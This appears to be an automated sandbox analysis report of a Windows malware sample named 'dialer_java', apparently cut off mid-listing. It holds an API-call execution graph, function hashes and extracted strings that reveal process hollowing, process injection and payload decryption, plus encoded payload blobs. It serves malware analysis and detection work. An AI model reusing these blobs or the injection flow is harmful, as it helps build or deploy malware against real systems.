                                  execution_graph 13774 7ff695dc1140 13777 7ff695dc1160 13774->13777 13776 7ff695dc1156 13778 7ff695dc11b9 13777->13778 13779 7ff695dc118b 13777->13779 13780 7ff695dc11d3 13778->13780 13781 7ff695dc11c7 _amsg_exit 13778->13781 13779->13778 13782 7ff695dc1190 13779->13782 13784 7ff695dc1201 _initterm 13780->13784 13785 7ff695dc121a 13780->13785 13781->13780 13782->13778 13783 7ff695dc11a0 Sleep 13782->13783 13783->13778 13783->13782 13784->13785 13802 7ff695dc2410 13785->13802 13787 7ff695dc1247 SetUnhandledExceptionFilter 13788 7ff695dc126a 13787->13788 13789 7ff695dc126f malloc 13788->13789 13790 7ff695dc128b 13789->13790 13793 7ff695dc12d2 13789->13793 13791 7ff695dc12a0 strlen malloc memcpy 13790->13791 13791->13791 13792 7ff695dc12d0 13791->13792 13792->13793 13812 7ff695de3b80 13793->13812 13795 7ff695dc1315 13796 7ff695dc1344 13795->13796 13797 7ff695dc1324 13795->13797 13800 7ff695dc1160 106 API calls 13796->13800 13798 7ff695dc1338 13797->13798 13799 7ff695dc132d _cexit 13797->13799 13798->13776 13799->13798 13801 7ff695dc1366 13800->13801 13801->13776 13803 7ff695dc2432 13802->13803 13805 7ff695dc259f 13802->13805 13804 7ff695dc24e6 13803->13804 13803->13805 13808 7ff695dc252e 13803->13808 13804->13808 13991 7ff695dc2730 13804->13991 13805->13787 13807 7ff695dc2579 VirtualProtect 13807->13808 13808->13805 13808->13807 13809 7ff695dc26c6 13808->13809 13810 7ff695dc2730 4 API calls 13809->13810 13811 7ff695dc26e3 13810->13811 13814 7ff695de3b96 13812->13814 13813 7ff695de3c8c wcslen 14001 7ff695dc153f 13813->14001 13814->13813 13816 7ff695de3d18 13817 7ff695dc1503 NtQueryInformationThread malloc 13816->13817 13840 7ff695de4264 13816->13840 13818 7ff695de3d43 13817->13818 13819 7ff695dc156c NtQueryInformationThread malloc 13818->13819 13824 7ff695de3d8c 13818->13824 13820 7ff695de3d7c 13819->13820 13822 7ff695dc145e NtQueryInformationThread malloc 13820->13822 13820->13824 13821 7ff695de3da6 memset wcscat memset 13823 7ff695de3dff 13821->13823 13822->13824 13825 7ff695de3e4f wcslen 13823->13825 13824->13821 13826 7ff695de3e6a 13825->13826 13830 7ff695de3ea8 13825->13830 13827 7ff695de3e80 _wcsnicmp 13826->13827 13828 7ff695de3e92 wcslen 13827->13828 13827->13830 13828->13827 13828->13830 13829 7ff695de3f16 wcscpy wcscat memset 13831 7ff695de3f55 13829->13831 13830->13829 13832 7ff695de405d wcscpy wcscat 13831->13832 13833 7ff695de4088 memset 13832->13833 13836 7ff695de4161 13832->13836 13834 7ff695de40a9 13833->13834 13835 7ff695de410c wcslen 13834->13835 13837 7ff695de4124 13835->13837 13843 7ff695de415c 13835->13843 13838 7ff695de79b0 11 API calls 13836->13838 13839 7ff695de4130 _wcsnicmp 13837->13839 13838->13840 13841 7ff695de4146 wcslen 13839->13841 13839->13843 13840->13795 13841->13839 13841->13843 13842 7ff695de4355 wcscpy wcscat _wcsicmp 13844 7ff695de43a2 memset 13842->13844 13845 7ff695de4389 13842->13845 13843->13842 13848 7ff695de43c3 13844->13848 13846 7ff695dc14d6 NtQueryInformationThread malloc 13845->13846 13846->13844 13847 7ff695de4408 wcscpy wcscat memset 13850 7ff695de444e 13847->13850 13848->13847 13849 7ff695de44b1 wcscpy wcscat memset 13851 7ff695de44f7 13849->13851 13850->13849 13852 7ff695de4527 wcscpy wcscat memset 13851->13852 13854 7ff695de456d 13852->13854 13853 7ff695de45dd wcscpy wcscat memset 13856 7ff695de4623 13853->13856 13854->13853 13855 7ff695de4668 wcscpy wcscat memset 13858 7ff695de46ae 13855->13858 13856->13855 13857 7ff695de46fe wcslen 13859 7ff695de4717 13857->13859 13860 7ff695de4757 wcscat memset 13857->13860 13858->13857 13861 7ff695de4730 _wcsnicmp 13859->13861 13865 7ff695de4792 13860->13865 13861->13860 13863 7ff695de4742 wcslen 13861->13863 13863->13860 13863->13861 13864 7ff695de47fe wcscpy wcscat 13866 7ff695de617b memcpy 13864->13866 13867 7ff695de4830 13864->13867 13865->13864 13866->13867 13868 7ff695de79b0 11 API calls 13867->13868 13870 7ff695de49e3 13868->13870 13869 7ff695de79b0 11 API calls 13871 7ff695de4afb memset 13869->13871 13870->13869 13872 7ff695de4b1c 13871->13872 13873 7ff695de4b5f wcscpy wcscat 13872->13873 13874 7ff695de8410 6 API calls 13873->13874 13875 7ff695de4b8c 13874->13875 13876 7ff695de4c82 wcslen 13875->13876 13888 7ff695de4fc7 13875->13888 13877 7ff695dc157b NtQueryInformationThread malloc 13876->13877 13878 7ff695de4d08 13877->13878 13879 7ff695dc158a NtQueryInformationThread malloc 13878->13879 13893 7ff695de4d41 13878->13893 13879->13893 13880 7ff695de4e59 _wcsicmp 13881 7ff695de4fa6 memset 13880->13881 13880->13893 13881->13888 13882 7ff695de4de5 wcslen 13884 7ff695dc15e4 NtQueryInformationThread malloc 13882->13884 13883 7ff695de5033 wcscpy wcscat 13883->13888 13886 7ff695de4e4d 13884->13886 13885 7ff695de79b0 11 API calls 13885->13881 13889 7ff695dc145e NtQueryInformationThread malloc 13886->13889 13887 7ff695de5092 memset wcscpy wcscat 13890 7ff695de7b30 NtQueryInformationThread malloc 13887->13890 13888->13883 13888->13887 13889->13880 13890->13893 13891 7ff695de7f20 11 API calls 13891->13893 13892 7ff695dc14c7 NtQueryInformationThread malloc 13892->13893 13893->13880 13893->13882 13893->13885 13893->13891 13893->13892 13894 7ff695de514e 13893->13894 13895 7ff695de79b0 11 API calls 13894->13895 13896 7ff695de524e 13895->13896 13897 7ff695de8410 6 API calls 13896->13897 13898 7ff695de5256 _wcsicmp 13897->13898 13899 7ff695de5271 memset 13898->13899 13904 7ff695de564b 13898->13904 13900 7ff695de5295 13899->13900 13901 7ff695de52da wcscpy wcscat wcslen 13900->13901 13902 7ff695dc146d NtQueryInformationThread malloc 13901->13902 13906 7ff695de53a3 13902->13906 13903 7ff695de3a80 10 API calls 13905 7ff695de5756 wcslen 13903->13905 13904->13903 13908 7ff695dc153f NtQueryInformationThread malloc 13905->13908 13907 7ff695dc1530 NtQueryInformationThread malloc 13906->13907 13909 7ff695de53d9 13907->13909 13910 7ff695de57e1 13908->13910 13911 7ff695de6614 13909->13911 13912 7ff695de53e1 13909->13912 13913 7ff695dc145e NtQueryInformationThread malloc 13910->13913 13916 7ff695dc145e NtQueryInformationThread malloc 13911->13916 13914 7ff695dc14a9 NtQueryInformationThread malloc 13912->13914 13915 7ff695de57f2 13913->13915 13917 7ff695de542a 13914->13917 13918 7ff695de5803 13915->13918 13921 7ff695de592a 13915->13921 13919 7ff695de6620 13916->13919 13920 7ff695de547e 13917->13920 13923 7ff695dc1440 NtQueryInformationThread malloc 13917->13923 13922 7ff695de3a80 10 API calls 13918->13922 13919->13795 13926 7ff695dc145e NtQueryInformationThread malloc 13920->13926 13925 7ff695de3a80 10 API calls 13921->13925 13924 7ff695de5816 13922->13924 13927 7ff695de5462 13923->13927 13931 7ff695de3a80 10 API calls 13924->13931 13928 7ff695de594b 13925->13928 13929 7ff695de5472 13926->13929 13927->13920 13930 7ff695de5466 13927->13930 13932 7ff695de7b30 NtQueryInformationThread malloc 13928->13932 13936 7ff695de7f20 11 API calls 13929->13936 13933 7ff695dc145e NtQueryInformationThread malloc 13930->13933 13934 7ff695de5822 memset 13931->13934 13935 7ff695de5961 13932->13935 13933->13929 13937 7ff695de5843 13934->13937 13935->13924 13939 7ff695de3a80 10 API calls 13935->13939 13947 7ff695de549b 13936->13947 13938 7ff695de5893 wcslen 13937->13938 13940 7ff695de58e8 wcscat 13938->13940 13941 7ff695de58a7 13938->13941 13942 7ff695de5987 13939->13942 13950 7ff695dc145e NtQueryInformationThread malloc 13940->13950 13943 7ff695de58c0 _wcsnicmp 13941->13943 13944 7ff695de7260 10 API calls 13942->13944 13943->13940 13948 7ff695de58d2 wcslen 13943->13948 13949 7ff695de59ac 13944->13949 13945 7ff695de79b0 11 API calls 13954 7ff695de5558 13945->13954 13947->13945 13948->13940 13948->13943 13951 7ff695dc14a9 NtQueryInformationThread malloc 13949->13951 13961 7ff695de5c07 13949->13961 13950->13840 13952 7ff695de5a05 13951->13952 13955 7ff695de5a14 13952->13955 13956 7ff695de5c19 13952->13956 13953 7ff695de79b0 11 API calls 13953->13840 13954->13953 13959 7ff695dc14b8 NtQueryInformationThread malloc 13955->13959 13958 7ff695dc15c6 NtQueryInformationThread malloc 13956->13958 13957 7ff695dc14c7 NtQueryInformationThread malloc 13960 7ff695de5c9f 13957->13960 13958->13961 13975 7ff695de5a38 13959->13975 13962 7ff695de3a80 10 API calls 13960->13962 13961->13957 13963 7ff695de5cb2 13962->13963 13965 7ff695de5ce0 13963->13965 13966 7ff695de5cb8 13963->13966 13964 7ff695de5b49 memset 13967 7ff695dc148b NtQueryInformationThread malloc 13964->13967 13970 7ff695de3a80 10 API calls 13965->13970 13968 7ff695de3a80 10 API calls 13966->13968 13969 7ff695de5b79 13967->13969 13972 7ff695de5cc7 13968->13972 13973 7ff695de5b81 13969->13973 13974 7ff695de5c29 13969->13974 13970->13924 13971 7ff695dc14b8 NtQueryInformationThread malloc 13971->13975 13976 7ff695dc145e NtQueryInformationThread malloc 13972->13976 13978 7ff695dc149a NtQueryInformationThread malloc 13973->13978 13977 7ff695dc15c6 NtQueryInformationThread malloc 13974->13977 13975->13964 13975->13971 13981 7ff695dc15d5 NtQueryInformationThread malloc 13975->13981 13979 7ff695de5ccf 13976->13979 13977->13961 13980 7ff695de5bad 13978->13980 13982 7ff695de3a80 10 API calls 13979->13982 13983 7ff695de5c4e 13980->13983 13984 7ff695dc14b8 NtQueryInformationThread malloc 13980->13984 13981->13975 13982->13924 13985 7ff695dc15c6 NtQueryInformationThread malloc 13983->13985 13986 7ff695de5be9 13984->13986 13985->13961 13986->13983 13987 7ff695de5bed 13986->13987 13988 7ff695dc147c NtQueryInformationThread malloc 13987->13988 13989 7ff695de5bfb 13988->13989 13990 7ff695dc145e NtQueryInformationThread malloc 13989->13990 13990->13961 13994 7ff695dc2752 13991->13994 13992 7ff695dc2794 memcpy 13992->13804 13994->13992 13995 7ff695dc27d5 VirtualQuery 13994->13995 13996 7ff695dc2884 13994->13996 13995->13996 14000 7ff695dc2802 13995->14000 13997 7ff695dc28b3 GetLastError 13996->13997 13999 7ff695dc28c7 13997->13999 13998 7ff695dc2834 VirtualProtect 13998->13992 13998->13997 14000->13992 14000->13998 14005 7ff695dc1394 14001->14005 14003 7ff695dc154e 14004 7ff695dc1394 2 API calls 14003->14004 14009 7ff695de8680 14005->14009 14007 7ff695dc13b8 14008 7ff695dc13c6 NtQueryInformationThread 14007->14008 14008->14003 14010 7ff695de869e 14009->14010 14013 7ff695de86cb 14009->14013 14010->14007 14011 7ff695de8773 14012 7ff695de878f malloc 14011->14012 14014 7ff695de87b0 14012->14014 14013->14010 14013->14011 14014->14010

                                  Executed Functions

                                  Function 00007FF695DE3B80 Relevance: 141.9, APIs: 67, Strings: 13, Instructions: 1888COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • [INFO] Mutex already exists: %s, xrefs: 00007FF695DE5803
                                  • [ERROR] Failed to decrypt payload, xrefs: 00007FF695DE5B3D
                                  • [ERROR] Invalid process handle, xrefs: 00007FF695DE5CE0
                                  • [INFO] Mutex not found: %s, xrefs: 00007FF695DE5938
                                  • , xrefs: 00007FF695DE5371
                                  • [INFO] inject_process completed, xrefs: 00007FF695DE5816
                                  • JzkdaHd1eXdoY3p5ZGJyaXJqZ3doaWx4LWt3cGtodXZqY2VodnV5d2xjenlkYnJpcmpnd2hpbHhta3dwE2h1dmR832Z2wXC6Tdt7NalDJgEbGUcHGgYLCgwGVxMKBhsZHkMHDVYHDBlMChRZIC0hSR8FAxJGTWx4PS53cA/ucnaJgucPdnV5d2xjenmUYlBpeWhpd2hXZXhtL3Vwa2h1dipyZWh2ZXl3bGN6OWVicmlyemd3aGtseGtrd3BraHV2bGNl, xrefs: 00007FF695DE594B
                                  • [SUCCESS] Payload decrypted, size: %zu bytes, xrefs: 00007FF695DE5978
                                  • [INFO] inject_process started, xrefs: 00007FF695DE574A
                                  • [SUCCESS] Process handle obtained: 0x%p, xrefs: 00007FF695DE5CB8
                                  • [INFO] Process handle closed, xrefs: 00007FF695DE5CCF
                                  • VlwdBRpVDxIeEBMWCl9QWFxaRVcNBw8XCQIZF1ZKICIsTlReVEpHemZfLhgXCVIfFxgUHgcHUVpcRURSSxAYGgQQWEoeAQ0HVkxVCgcKFwQTGUkaAQoeFx4EEQRFCxobRRQMBhIaDgRDUUpJUE1CW10HDgNHHQ0LBklJfWFIVUo+EQwPERALBFJucFlEQlJVMAUIAzwbBR8KDgVOZmJVVmNDRVQzGxgVAAYeRxAQBwxORSIZCQsAHQlVenpLSFVWVkwn, xrefs: 00007FF695DE50E5
                                  • [INFO] Process hollowing executed for program: %s, xrefs: 00007FF695DE5C9F
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memset$wcscat$wcscpywcslen$_wcsnicmp$_wcsicmp$memcpy
                                  • String ID: $JzkdaHd1eXdoY3p5ZGJyaXJqZ3doaWx4LWt3cGtodXZqY2VodnV5d2xjenlkYnJpcmpnd2hpbHhta3dwE2h1dmR832Z2wXC6Tdt7NalDJgEbGUcHGgYLCgwGVxMKBhsZHkMHDVYHDBlMChRZIC0hSR8FAxJGTWx4PS53cA/ucnaJgucPdnV5d2xjenmUYlBpeWhpd2hXZXhtL3Vwa2h1dipyZWh2ZXl3bGN6OWVicmlyemd3aGtseGtrd3BraHV2bGNl$VlwdBRpVDxIeEBMWCl9QWFxaRVcNBw8XCQIZF1ZKICIsTlReVEpHemZfLhgXCVIfFxgUHgcHUVpcRURSSxAYGgQQWEoeAQ0HVkxVCgcKFwQTGUkaAQoeFx4EEQRFCxobRRQMBhIaDgRDUUpJUE1CW10HDgNHHQ0LBklJfWFIVUo+EQwPERALBFJucFlEQlJVMAUIAzwbBR8KDgVOZmJVVmNDRVQzGxgVAAYeRxAQBwxORSIZCQsAHQlVenpLSFVWVkwn$[ERROR] Failed to decrypt payload$[ERROR] Invalid process handle$[INFO] Mutex already exists: %s$[INFO] Mutex not found: %s$[INFO] Process handle closed$[INFO] Process hollowing executed for program: %s$[INFO] inject_process completed$[INFO] inject_process started$[SUCCESS] Payload decrypted, size: %zu bytes$[SUCCESS] Process handle obtained: 0x%p
                                  • API String ID: 1844779378-707888011
                                  • Opcode ID: 50f3b661096dc7b1e19b12610b6c206130408c8fe2271caf19ca8527248b59a1
                                  • Instruction ID: 329c4654d9d0ac052c2d0ef066303f292a5ce252e00fc8a426d30d37e6b7ca2c
                                  • Opcode Fuzzy Hash: 50f3b661096dc7b1e19b12610b6c206130408c8fe2271caf19ca8527248b59a1
                                  • Instruction Fuzzy Hash: C2334261C2C6C384F7319B28AA413F4A3E0EF95B84F4463B5D98CD65A5EF6D6A4DC308
                                  Function 00007FF695DC1160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                  • String ID:
                                  • API String ID: 2643109117-0
                                  • Opcode ID: db9654a873d05972df7c4cd3774028c37a5ca561359b6cfc46425ec131679173
                                  • Instruction ID: 3c83dbfc5972517b2b308bdb84f6a667a62d0950a5696c60d1e88639a86474fc
                                  • Opcode Fuzzy Hash: db9654a873d05972df7c4cd3774028c37a5ca561359b6cfc46425ec131679173
                                  • Instruction Fuzzy Hash: 59514971E1A65681EA31DB59E95037963E0EF88F90F4062B1D90DC73A1DF2CAC8EC308
                                  Function 00007FF695DC1394 Relevance: 1.5, APIs: 1, Instructions: 24nativethreadCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • NtQueryInformationThread.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF695DC1156), ref: 00007FF695DC13F7
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: InformationQueryThread
                                  • String ID:
                                  • API String ID: 741662350-0
                                  • Opcode ID: 27820dc2d2f6668a26f19431ae4115d453894afd47fcb02c8a0a545cebde311c
                                  • Instruction ID: 68db51f5ea07eb7971dde8782d45cd171f0d96f6735a8b60f02217bd4758448c
                                  • Opcode Fuzzy Hash: 27820dc2d2f6668a26f19431ae4115d453894afd47fcb02c8a0a545cebde311c
                                  • Instruction Fuzzy Hash: 2CF0EC7291CB4192DA20DF51F84002A77E0FF48B80B056A7AE98C87725CF3CE9989B48
                                  Function 00007FF695DE3A80 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _localtime64_s_time64
                                  • String ID: %s $[%Y-%m-%d %H:%M:%S]
                                  • API String ID: 2262455995-899559958
                                  • Opcode ID: a058c66051b2317f5e588f79f743636c4437f49c9a2c9167b86e4ef29b80d505
                                  • Instruction ID: 6f6ef2b043c0fef35b7293dd581f48a0f2dd139ef1cab95126729ee26efc4cb2
                                  • Opcode Fuzzy Hash: a058c66051b2317f5e588f79f743636c4437f49c9a2c9167b86e4ef29b80d505
                                  • Instruction Fuzzy Hash: 47016131A18B8251EA359B11F8503FAA3A4EF88BD0F4061B5ED8E437558E7CD68EC704

                                  Non-executed Functions

                                  Function 00007FF695DD6520 Relevance: 37.2, APIs: 16, Strings: 5, Instructions: 475COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1038 7ff695dd6520-7ff695dd6539 1039 7ff695dd653b-7ff695dd6542 1038->1039 1040 7ff695dd6549-7ff695dd655a 1038->1040 1039->1040 1041 7ff695dd6575-7ff695dd657e 1040->1041 1042 7ff695dd655c 1040->1042 1044 7ff695dd6580-7ff695dd6589 1041->1044 1045 7ff695dd65dc-7ff695dd65e6 1041->1045 1043 7ff695dd655e-7ff695dd6574 1042->1043 1047 7ff695dd658f-7ff695dd6598 1044->1047 1048 7ff695dd6640-7ff695dd66bf 1044->1048 1045->1042 1046 7ff695dd65ec-7ff695dd65f8 1045->1046 1049 7ff695dd65fe-7ff695dd6608 1046->1049 1050 7ff695dd66f9-7ff695dd6701 1046->1050 1047->1042 1053 7ff695dd659a-7ff695dd65a4 1047->1053 1051 7ff695dd66c5-7ff695dd66d3 1048->1051 1052 7ff695dd688a-7ff695dd68b6 1048->1052 1057 7ff695dd6610-7ff695dd6619 1049->1057 1050->1042 1054 7ff695dd6707-7ff695dd670a 1050->1054 1058 7ff695dd6849-7ff695dd6854 malloc 1051->1058 1059 7ff695dd66d9-7ff695dd66ee realloc 1051->1059 1055 7ff695dd68bc-7ff695dd68c9 1052->1055 1056 7ff695dd69c6-7ff695dd69e5 call 7ff695dcd9a0 1052->1056 1053->1042 1060 7ff695dd65a6-7ff695dd65af 1053->1060 1054->1042 1063 7ff695dd6710-7ff695dd672e 1054->1063 1064 7ff695dd6925-7ff695dd6928 1055->1064 1089 7ff695dd6a06-7ff695dd6a14 1056->1089 1090 7ff695dd69e7-7ff695dd69f5 1056->1090 1066 7ff695dd662f-7ff695dd6635 1057->1066 1067 7ff695dd661b-7ff695dd6627 1057->1067 1068 7ff695dd685a-7ff695dd6860 1058->1068 1069 7ff695dd6c67 call 7ff695dc2d30 1058->1069 1070 7ff695dd66f4 1059->1070 1071 7ff695dd6877-7ff695dd6883 1059->1071 1061 7ff695dd65b5-7ff695dd65b7 1060->1061 1062 7ff695dd67a0-7ff695dd67a3 1060->1062 1072 7ff695dd65c0-7ff695dd65c9 1061->1072 1062->1042 1076 7ff695dd67a9-7ff695dd67ac 1062->1076 1073 7ff695dd6730-7ff695dd673d malloc 1063->1073 1074 7ff695dd675a-7ff695dd679b 1063->1074 1064->1056 1077 7ff695dd692e-7ff695dd6932 1064->1077 1066->1054 1080 7ff695dd663b 1066->1080 1067->1057 1079 7ff695dd6629-7ff695dd662c 1067->1079 1081 7ff695dd6862-7ff695dd686b memcpy 1068->1081 1082 7ff695dd6870 1068->1082 1085 7ff695dd6c6c-7ff695dd6c80 _assert 1069->1085 1070->1069 1071->1052 1072->1062 1083 7ff695dd65cf-7ff695dd65d8 1072->1083 1073->1069 1084 7ff695dd6743-7ff695dd6757 1073->1084 1074->1043 1076->1042 1086 7ff695dd67b2-7ff695dd67d0 1076->1086 1087 7ff695dd6934-7ff695dd6938 1077->1087 1088 7ff695dd6940 1077->1088 1079->1066 1080->1042 1081->1082 1082->1071 1083->1072 1091 7ff695dd65da 1083->1091 1084->1074 1092 7ff695dd6c86-7ff695dd6ccf _assert call 7ff695dd80f0 call 7ff695dc3f50 1085->1092 1093 7ff695dd67d2-7ff695dd67df malloc 1086->1093 1094 7ff695dd67fc-7ff695dd6844 1086->1094 1095 7ff695dd6942-7ff695dd6956 memchr 1087->1095 1088->1095 1097 7ff695dd6a25-7ff695dd6a2b 1089->1097 1098 7ff695dd6a16-7ff695dd6a1f 1089->1098 1090->1092 1096 7ff695dd69fb-7ff695dd69ff 1090->1096 1091->1043 1093->1069 1100 7ff695dd67e5-7ff695dd67f9 1093->1100 1094->1043 1095->1056 1101 7ff695dd6958-7ff695dd695f 1095->1101 1096->1089 1103 7ff695dd6a30-7ff695dd6a3e call 7ff695dcba60 1097->1103 1098->1097 1102 7ff695dd6af1 1098->1102 1100->1094 1101->1056 1105 7ff695dd6961-7ff695dd696f call 7ff695dd7b80 1101->1105 1106 7ff695dd6af5-7ff695dd6b15 call 7ff695dcd9a0 1102->1106 1112 7ff695dd6c13-7ff695dd6c35 1103->1112 1113 7ff695dd6a44-7ff695dd6a4c 1103->1113 1105->1112 1123 7ff695dd6975-7ff695dd697d 1105->1123 1118 7ff695dd6b51 1106->1118 1119 7ff695dd6b17-7ff695dd6b23 1106->1119 1112->1085 1117 7ff695dd6c37-7ff695dd6c4f 1112->1117 1120 7ff695dd6a4e-7ff695dd6a5f 1113->1120 1121 7ff695dd6acb-7ff695dd6add 1113->1121 1126 7ff695dd6c51 free 1117->1126 1127 7ff695dd6c56-7ff695dd6c62 1117->1127 1128 7ff695dd6b54-7ff695dd6b57 1118->1128 1119->1128 1129 7ff695dd6b25-7ff695dd6b28 1119->1129 1130 7ff695dd6a61-7ff695dd6a70 realloc 1120->1130 1131 7ff695dd6a77-7ff695dd6a82 malloc 1120->1131 1121->1103 1132 7ff695dd6ae3-7ff695dd6ae6 1121->1132 1124 7ff695dd697f-7ff695dd6990 1123->1124 1125 7ff695dd6909-7ff695dd691f 1123->1125 1133 7ff695dd68cb-7ff695dd68da realloc 1124->1133 1134 7ff695dd6996-7ff695dd69a1 malloc 1124->1134 1125->1056 1125->1064 1126->1127 1127->1043 1139 7ff695dd6b59-7ff695dd6b5c 1128->1139 1135 7ff695dd6b30-7ff695dd6b39 1129->1135 1136 7ff695dd6aa2-7ff695dd6ac7 1130->1136 1137 7ff695dd6a72 1130->1137 1131->1069 1138 7ff695dd6a88-7ff695dd6a8e 1131->1138 1132->1103 1140 7ff695dd6aec-7ff695dd6aef 1132->1140 1133->1069 1144 7ff695dd68e0-7ff695dd6905 1133->1144 1134->1069 1141 7ff695dd69a7-7ff695dd69ad 1134->1141 1142 7ff695dd6b3b-7ff695dd6b44 1135->1142 1143 7ff695dd6b49-7ff695dd6b4f 1135->1143 1136->1121 1137->1069 1145 7ff695dd6a9e 1138->1145 1146 7ff695dd6a90-7ff695dd6a99 memcpy 1138->1146 1147 7ff695dd6b62-7ff695dd6b65 1139->1147 1148 7ff695dd6c11 1139->1148 1140->1106 1149 7ff695dd69af-7ff695dd69b8 memcpy 1141->1149 1150 7ff695dd69bd-7ff695dd69c1 1141->1150 1142->1135 1151 7ff695dd6b46 1142->1151 1143->1139 1144->1125 1145->1136 1146->1145 1147->1148 1152 7ff695dd6b6b-7ff695dd6b89 1147->1152 1148->1112 1149->1150 1150->1144 1151->1143 1153 7ff695dd6bb5-7ff695dd6c0f 1152->1153 1154 7ff695dd6b8b-7ff695dd6b98 malloc 1152->1154 1153->1112 1154->1069 1155 7ff695dd6b9e-7ff695dd6bb2 1154->1155 1155->1153
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$memcpyrealloc$_assert$freememchr
                                  • String ID: 'block-literal'$/home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Last != First && "Popping empty vector!"$Parser->TemplateParams.size() >= OldNumTemplateParamLists$yptn
                                  • API String ID: 3787261664-3461159648
                                  • Opcode ID: 57f0d196df13843cdacfecd0714ebaf0385c5284f1a26d2321f516d71d41b19e
                                  • Instruction ID: 03854adb3919bfb3020656820548323fe14bf5038a9da575e5893b02c871f06b
                                  • Opcode Fuzzy Hash: 57f0d196df13843cdacfecd0714ebaf0385c5284f1a26d2321f516d71d41b19e
                                  • Instruction Fuzzy Hash: 0922C132609B8281EA348B25F44027977E4FB44F80F145276DB9E87B95EF3CE989C784
                                  Function 00007FF695DCA480 Relevance: 30.2, APIs: 10, Strings: 7, Instructions: 400stringCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
